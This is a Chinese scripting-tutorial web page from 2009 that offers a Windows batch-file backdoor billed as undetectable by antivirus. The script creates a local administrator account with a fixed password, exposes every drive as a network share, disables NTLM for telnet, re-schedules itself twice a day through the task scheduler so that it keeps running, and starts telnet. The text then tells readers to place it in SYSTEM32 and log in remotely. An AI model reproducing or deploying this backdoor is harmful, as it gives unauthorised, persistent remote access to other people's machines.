繁體中文当前位置: 首页 > 图文教程 > 脚本技术 > DOS/BAT > 用批处理写的后门 永不被杀
- DOS/BAT
- 一个“灵异”批处理引发的思考加补充说明
- 批处理提取不同行上的内容的代码
- windows 复制隐藏帐号完全批处理
- 使用regini.exe修改注册表命令
- 将bat文件注册为windows系统服务的方法
- 恶意软件\垃圾流氓通用反删除批处理文件
- G8.3做的GHO G8.3不识别的问题的完美解决方案！
- MD和RD命令的使用方法
- DOS的启动过程详解分析
- Msd、Undelete命令的使用方法
- win32下的命令行集合
- 制作bat批处理和任意QQ号聊天！
- 用批处理实现将文件以数字重命名的代码
- 批处理之家发现的用批处理实现的系统类应用代码
- 纯脚本备份_还原驱动增强版附相关sleep.exe
- 批处理删除使用所有Windows Update功能的访问[图文+bat]
- 批处理 数码雨代码解释
- 按扩展名分类的批处理
- 批处理 网络配置信息查看器
- 获取文件更新列表 批处理
DOS/BAT 中的 用批处理写的后门 永不被杀
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-11 浏览: 141 ::
收藏到网摘: n/a
代码思路是影子鹰DESERT朋友的，原代码比较麻烦，我做了改进，这个后门优点就是小而且不会被杀，放到SYSTEM32目录下就可以了 ，代码如下：
@echo off
@attrib +s + r xyt.bat
@net user xyt hacker /add
@net localgroup administrators xyt /add
@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm
@net stop schedule
@net start Schedule
@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
@at 11:05 c:\WINNT\SYSTEM32\xyt.bat
@at 23:05 c:\WINNT\SYSTEM32\xyt.bat
@net stop telnet
@net start telnet
@exit
这样就会循环运行我们的程序了，即使被人停下来，过几个小时，又回重新运行，呵呵~~
运行后TELNET IP上去，用户名为xyt，密码为hacker。
评论 (0) All
